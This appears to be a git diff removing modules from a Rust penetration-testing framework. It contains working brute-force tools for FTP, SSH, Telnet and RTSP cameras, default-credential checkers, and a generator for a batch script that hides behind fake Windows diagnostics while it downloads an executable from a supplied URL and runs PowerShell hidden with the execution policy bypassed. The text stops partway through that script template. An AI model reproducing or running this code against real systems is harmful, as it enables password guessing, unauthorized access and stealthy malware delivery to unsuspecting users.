let ssh_conf = Config { port: 22, ..base_config.clone() };
let telnet_conf = Config { port: 23, ..base_config.clone() };
let http_conf = Config { port: 80, ..base_config.clone() };
// Start all checks in parallel
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
check_ftp(&ftp_conf),
async {
// run blocking ssh check in separate thread
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
},
async {
// run blocking telnet check in separate thread
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
},
check_http_form(&http_conf),
);
// Evaluate results
ftp_res?;
ssh_res?;
telnet_res?;
http_res?;
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod acti_camera_default;
-1
View File
@@ -1 +0,0 @@
pub mod acti;
@@ -1,64 +0,0 @@
use anyhow::{Context, Result};
use std::net::TcpStream;
use std::io::{BufRead, BufReader, Write};
use std::time::Duration;
/// Checks if anonymous FTP login is allowed on a target.
///
/// Example usage from shell:
/// ```
/// rsf> use creds/ftp_anonymous
/// rsf> set target 192.168.1.1
/// rsf> run
/// ```
pub async fn run(target: &str) -> Result<()> {
let port = 21;
let address = format!("{}:{}", target, port);
println!("[*] Connecting to FTP service on {}...", address);
// Connect with a short timeout
let stream = TcpStream::connect_timeout(
&address.parse().context("Invalid address")?,
Duration::from_secs(5),
)
.context("Connection failed")?;
// Clone reader/writer
let mut reader = BufReader::new(stream.try_clone()?);
let mut writer = stream;
// Read initial banner
let mut banner = String::new();
reader.read_line(&mut banner)?;
print!("[<] {}", banner);
// Send USER anonymous
writer.write_all(b"USER anonymous\r\n")?;
writer.flush()?;
let mut response = String::new();
reader.read_line(&mut response)?;
print!("[<] {}", response);
if !response.starts_with("3") && !response.contains("password") {
println!("[-] Server does not accept 'anonymous' user.");
return Ok(());
}
// Send PASS anything (or empty)
writer.write_all(b"PASS anonymous\r\n")?;
writer.flush()?;
response.clear();
reader.read_line(&mut response)?;
print!("[<] {}", response);
if response.starts_with("2") {
println!("[+] Anonymous login successful!");
} else {
println!("[-] Anonymous login failed.");
}
Ok(())
}
-235
View File
@@ -1,235 +0,0 @@
use anyhow::{anyhow, Result};
use async_ftp::FtpStream;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
sync::Mutex,
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== FTP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("FTP Port", "21")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ftp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let _pass_len = pass_lines.len();
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
// Pair same line index if available
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_ftp_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
match FtpStream::connect(addr).await {
Ok(mut stream) => match stream.login(user, pass).await {
Ok(_) => {
let _ = stream.quit().await;
Ok(true)
}
Err(e) => {
if e.to_string().contains("530") {
Ok(false)
} else {
Err(anyhow!("FTP error: {}", e))
}
}
},
Err(e) => Err(anyhow!("Connection error: {}", e)),
}
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
-7
View File
@@ -1,7 +0,0 @@
pub mod sample_cred_check;
pub mod ftp_bruteforce;
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod rtsp_bruteforce_advanced;
@@ -1,371 +0,0 @@
use anyhow::{anyhow, Result};
use base64::Engine as _;
use base64::engine::general_purpose::STANDARD as Base64;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::SocketAddr,
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::Mutex,
time::{sleep, Duration},
};
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
println!("=== Advanced RTSP Brute Force Module ===");
println!("[*] Target: {}", target);
//------------------------------
// 1) Basic Brute Force Settings
//------------------------------
let port: u16 = loop {
let input = prompt_default("RTSP Port", "554")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "rtsp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
//------------------------------
// 2) Advanced Features
//------------------------------
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
// By default, we'll demonstrate a DESCRIBE method.
// You could prompt for multiple commands, but here's one for simplicity.
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
// Prompt for custom headers file
let headers_file = prompt_yes_no("Load extra RTSP headers from a file?", false)?;
if headers_file {
let headers_path = prompt_required("Path to RTSP headers file")?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
//------------------------------
// 3) Brute Force RTSP Paths
//------------------------------
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
// If not brute forcing paths, we just do an empty vector or single slash
vec!["".to_string()] // We'll interpret "" as no path specified
};
//------------------------------
// 4) Begin Brute Force
//------------------------------
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
// Load user list
let users = load_lines(&usernames_file)?;
// Load password list
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let mut idx = 0;
// For each password
for pass in pass_lines {
// If we've already found valid creds and we're stopping on success, break early
if *stop.lock().await {
break;
}
// If combo_mode is true, each password tries all users.
// Otherwise, line up each user with the “idx” (like a parallel dictionary).
let userlist = if combo_mode {
users.clone()
} else {
// Use user at "idx % users.len()" if were not in combo_mode
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
// We batch tasks up to "concurrency"
let mut handles = vec![];
// For each username
for user in userlist {
// For each path
for path in &paths {
if *stop.lock().await {
break;
}
// Clone references for the task
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let path = path.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
// The advanced method & headers
let command = advanced_command.clone();
let headers = advanced_headers.clone();
let handle = tokio::spawn(async move {
// Check again if we've been signaled to stop
if *stop.lock().await {
return;
}
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
Ok(true) => {
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
println!("[+] {} -> {}:{} [path={}]",
addr, user, pass, path_str);
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path));
}
Err(e) => {
log(verbose, &format!("[!] {} -> error: {}", addr, e));
}
}
// A short delay between attempts
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
// If we reach concurrency, wait for them to finish before scheduling more
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
}
// Wait for any leftover tasks in the batch
for h in handles {
let _ = h.await;
}
idx += 1;
}
//------------------------------
// 5) Show Results / Save
//------------------------------
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found (with these paths).");
} else {
println!("\n[+] Valid credentials (and paths):");
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass, path) in creds.iter() {
writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
/// Attempt to authenticate via RTSP (with optional advanced method + headers).
/// Returns Ok(true) if successful, Ok(false) if incorrect credentials, Err(...) if we cant connect/parse response.
async fn try_rtsp_login(
addr: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
// Parse the address to confirm it's valid
let socket_addr: SocketAddr = addr.parse()
.map_err(|e| anyhow!("Invalid socket address '{}': {}", addr, e))?;
// Open TCP connection to camera
let mut stream = TcpStream::connect(socket_addr)
.await
.map_err(|e| anyhow!("Connection error: {}", e))?;
// If the user wants advanced mode, use "method" (e.g., DESCRIBE) + headers.
// Otherwise, fallback to OPTIONS. We'll do "DESCRIBE" by default if method is Some("DESCRIBE").
let rtsp_method = method.unwrap_or("OPTIONS");
// Build path portion (some cameras expect the path in the request line).
// If path is empty, we skip it. Or default to / if you want.
let path_str = if path.is_empty() {
"" // or "/"
} else {
path
};
// Build Basic Auth
let credentials = Base64.encode(format!("{}:{}", user, pass));
// Build the RTSP request line
let mut request = format!(
"{method} rtsp://{addr}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
addr = addr,
path = path_str.trim_start_matches('/'), // avoid double slash
auth = credentials,
);
// Append extra headers if advanced mode is on
for header in extra_headers {
// We assume each line in extra_headers is valid, e.g. "User-Agent: MyCameraClient"
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
// End with a blank line
request.push_str("\r\n");
// Send request
stream.write_all(request.as_bytes()).await?;
// Read response
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("Server closed connection unexpectedly."));
}
let response = String::from_utf8_lossy(&buffer[..n]);
// Very naive checks
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("Unexpected RTSP response:\n{}", response))
}
}
/// Prompts the user for a required field (no default allowed).
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
/// Prompts the user for a value with a default fallback.
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
/// Prompts the user for a yes/no question, with a default answer.
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
/// Loads a file, returning non-empty lines in a Vec.
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect())
}
/// Prints log messages only in verbose mode.
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
/// Returns a PathBuf in the current directory for the given filename.
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
@@ -1,26 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A sample credential check - tries a basic auth login
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking default creds on: {}", target);
let url = format!("http://{}/login", target);
let client = reqwest::Client::new();
// Hypothetical login using "admin:admin"
let resp = client
.post(&url)
.basic_auth("admin", Some("admin"))
.send()
.await
.context("Failed to send login request")?;
if resp.status().is_success() {
println!("[+] Default credentials admin:admin are valid!");
} else {
println!("[-] Default credentials admin:admin failed.");
}
Ok(())
}
-240
View File
@@ -1,240 +0,0 @@
use anyhow::{anyhow, Result};
use ssh2::Session;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
path::{Path, PathBuf},
sync::Arc,
};
use tokio::{
sync::Mutex,
task::spawn_blocking,
time::{sleep, Duration},
};
pub async fn run(target: &str) -> Result<()> {
println!("=== SSH Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", "22")?;
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Try again."),
}
};
let usernames_file = prompt_required("Username wordlist")?;
let passwords_file = prompt_required("Password wordlist")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Try again."),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_file = File::open(&passwords_file)?;
let pass_buf = BufReader::new(pass_file);
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
let mut idx = 0;
for pass in pass_lines {
if *stop.lock().await {
break;
}
let userlist = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_ssh_login(&addr, &user, &pass).await {
Ok(true) => {
println!("[+] {} -> {}:{}", addr, user, pass);
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => {
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
}
Err(e) => {
log(verbose, &format!("[!] {}: error: {}", addr, e));
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
} else {
println!("\n[+] Valid credentials:");
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_ssh_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let addr = addr.to_string();
let user = user.to_string();
let pass = pass.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&addr) {
Ok(tcp) => {
let mut sess = Session::new()?; // ✅ fixed here
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user, &pass) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
Err(e) => Err(anyhow!("Connection error: {}", e)),
}
})
.await??;
Ok(result)
}
// === Utility Functions ===
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
}
}
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|l| !l.trim().is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input: &str) -> PathBuf {
let name = Path::new(input)
.file_name()
.unwrap_or_default()
.to_string_lossy()
.to_string();
PathBuf::from(format!("./{}", name))
}
@@ -1,217 +0,0 @@
use anyhow::{Result, Context};
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::ToSocketAddrs;
use std::sync::{Arc, Mutex};
use telnet::Event;
use threadpool::ThreadPool;
use crossbeam_channel::{unbounded};
use telnet::Telnet;
pub async fn run(target: &str) -> Result<()> {
println!("\n=== Telnet Bruteforce Module (RustSploit) ===\n");
let target = target.to_string();
let port = prompt("Port (default 23): ").parse().unwrap_or(23);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Number of threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try every username with every password? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose mode? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = TelnetBruteforceConfig {
target,
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
};
run_telnet_bruteforce(config)
}
#[derive(Clone)]
struct TelnetBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
}
fn run_telnet_bruteforce(config: TelnetBruteforceConfig) -> Result<()> {
let addr = format!("{}:{}", config.target, config.port);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address")?
.next()
.context("Unable to resolve target address")?;
println!("\n[*] Starting Telnet bruteforce on {}", socket_addr);
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
let creds = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
for user in &usernames {
for pass in &passwords {
tx.send((user.clone(), pass.clone()))?;
}
}
} else {
if usernames.len() == 1 {
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
} else if passwords.len() == 1 {
for user in &usernames {
tx.send((user.clone(), passwords[0].clone()))?;
}
} else {
println!("[!] Warning: Multiple usernames and passwords loaded, but full_combo is OFF. Trying first username with all passwords.");
for pass in &passwords {
tx.send((usernames[0].clone(), pass.clone()))?;
}
}
}
drop(tx);
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let creds = Arc::clone(&creds);
let config = config.clone();
pool.execute(move || {
while let Ok((username, password)) = rx.recv() {
if *stop_flag.lock().unwrap() {
break;
}
if config.verbose {
println!("[*] Trying {}:{}", username, password);
}
match try_telnet_login(&addr, &username, &password) {
Ok(true) => {
println!("[+] Valid credentials: {}:{}", username, password);
creds.lock().unwrap().push((username, password));
if config.stop_on_success {
*stop_flag.lock().unwrap() = true;
break;
}
}
Ok(false) => {}
Err(e) => {
if config.verbose {
eprintln!("[!] Error: {}", e);
}
}
}
}
});
}
pool.join();
let creds = creds.lock().unwrap();
if creds.is_empty() {
println!("[-] No valid credentials found.");
} else {
println!("\n[+] Found credentials:");
for (u, p) in creds.iter() {
println!(" - {}:{}", u, p);
}
let save = prompt("\n[?] Save credentials to file? (y/n): ");
if save.trim().eq_ignore_ascii_case("y") {
let filename = prompt("Enter filename to save: ");
if let Err(e) = save_results(&filename, &creds) {
eprintln!("[!] Failed to save results: {}", e);
} else {
println!("[+] Results saved to '{}'", filename);
}
}
}
Ok(())
}
fn try_telnet_login(addr: &str, username: &str, password: &str) -> Result<bool> {
let mut connection = Telnet::connect((addr, 23), 256)
.context("Failed to connect to Telnet server")?;
let mut login_prompt_seen = false;
let mut pass_prompt_seen = false;
for _ in 0..10 {
let event = connection.read().context("Failed to read from Telnet")?;
match event {
Event::Data(buffer) => {
let output = String::from_utf8_lossy(&buffer).to_lowercase();
if !login_prompt_seen && (output.contains("login:") || output.contains("username")) {
connection.write(format!("{}\n", username).as_bytes())?;
login_prompt_seen = true;
} else if login_prompt_seen && !pass_prompt_seen && output.contains("password") {
connection.write(format!("{}\n", password).as_bytes())?;
pass_prompt_seen = true;
} else if pass_prompt_seen {
// Look for signs of successful or failed login
if output.contains("incorrect")
|| output.contains("failed")
|| output.contains("denied")
{
return Ok(false);
} else if output.contains("last login")
|| output.contains("$")
|| output.contains("welcome")
|| output.contains("#")
{
return Ok(true);
}
}
}
_ => {}
}
}
Ok(false)
}
fn read_lines(path: &str) -> Result<Vec<String>> {
let file = File::open(path).context(format!("Unable to open {}", path))?;
Ok(BufReader::new(file).lines().filter_map(Result::ok).collect())
}
fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
for (u, p) in creds {
writeln!(file, "{}:{}", u, p)?;
}
Ok(())
}
fn prompt(message: &str) -> String {
print!("{}", message);
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
input.trim().to_string()
}
-2
View File
@@ -1,2 +0,0 @@
pub mod generic; // <-- lowercase folder name
pub mod camera;
-2
View File
@@ -1,2 +0,0 @@
pub mod sample_exploit;
pub mod payloadgens;
-1
View File
@@ -1 +0,0 @@
pub mod payloadgenbat;
@@ -1,133 +0,0 @@
//! Build a twostage prank/diagnostic BAT script with stealth download & run.
//! Prompts for: output .bat, GitHub raw URL (.EXE), and output .ps1 name.
use anyhow::{Context, Result};
use std::fs;
use std::io::{self, Write};
/// Read a trimmed line from stdin
fn prompt(msg: &str) -> Result<String> {
print!("{msg}");
io::stdout().flush().ok();
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
Ok(buf.trim().to_owned())
}
/// Build the BAT contents (injecting URL & PS1 filename)
fn build_script(url: &str, ps1_name: &str) -> String {
// Template with placeholders {{URL}} and {{OUTFILE}}
let tpl = r#"@echo off
setlocal enabledelayedexpansion
title []
color 0A
echo =====================================================
echo
echo =====================================================
echo [+] ...
timeout /t 2 >nul
:: Fake diagnostic functions
echo [INFO] ...
netsh winsock show catalog >nul
echo [INFO] ...
fsutil behavior query DisableDeleteNotify >nul
echo [INFO] DCOM設定の確認...
dcomcnfg /32 >nul
timeout /t 1 >nul
echo [INFO] ...
wevtutil qe Security "/q:*[System[(EventID=4624)]]" /f:text /c:1 >nul
timeout /t 1 >nul
echo [INFO] ...
netstat -bno >nul
route print >nul
timeout /t 1 >nul
echo [INFO] ...
sc queryex type= service >nul
timeout /t 1 >nul
echo [INFO] WMI ...
wmic logicaldisk get caption,filesystem,freespace,size >nul
timeout /t 1 >nul
:: 50x random sub-sleeps
echo [*] ... (50 )
for /l %%i in (1,1,50) do (
set /a delay=(%%RANDOM%% %% 60) + 120
powershell -Command "Start-Sleep -Milliseconds !delay!"
)
:: Random delay before launching stage 2
set /a mainDelay=(%%RANDOM%% %% 4) + 3
echo [INFO] ... (%%mainDelay%% )
timeout /t %%mainDelay%% >nul
:: Build second stage BAT (stage2.bat)
set "stage2=%%~dp0stage2.bat"
(
echo @echo off
echo setlocal enabledelayedexpansion
echo title
echo echo [*] ...
echo ping -n 2 1.1.1.1 ^>nul
echo tracert -h 2 8.8.8.8
echo ipconfig /flushdns
echo timeout /t 2 ^>nul
echo echo [*] ...
echo set /a delay2=(^%%RANDOM^%% %% 8) + 3
echo timeout /t !delay2! ^>nul
echo echo [*] GitHub ...
echo set "url={{URL}}"
echo set "outfile=%%~dp0{{OUTFILE}}"
echo powershell -Command ^
"try { Invoke-WebRequest -Uri '!url!' -OutFile '!outfile!' -UseBasicParsing } catch { " ^
"try { Start-BitsTransfer -Source '!url!' -Destination '!outfile!' } catch { " ^
"$wc = New-Object System.Net.WebClient; $wc.DownloadFile('!url!', '!outfile!') }}"
echo timeout /t 2 ^>nul
echo echo [*] VBSを生成中...
echo ^(
echo Set shell = CreateObject("WScript.Shell"^)
echo shell.Run "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File ""{{OUTFILE}}""", 0, False
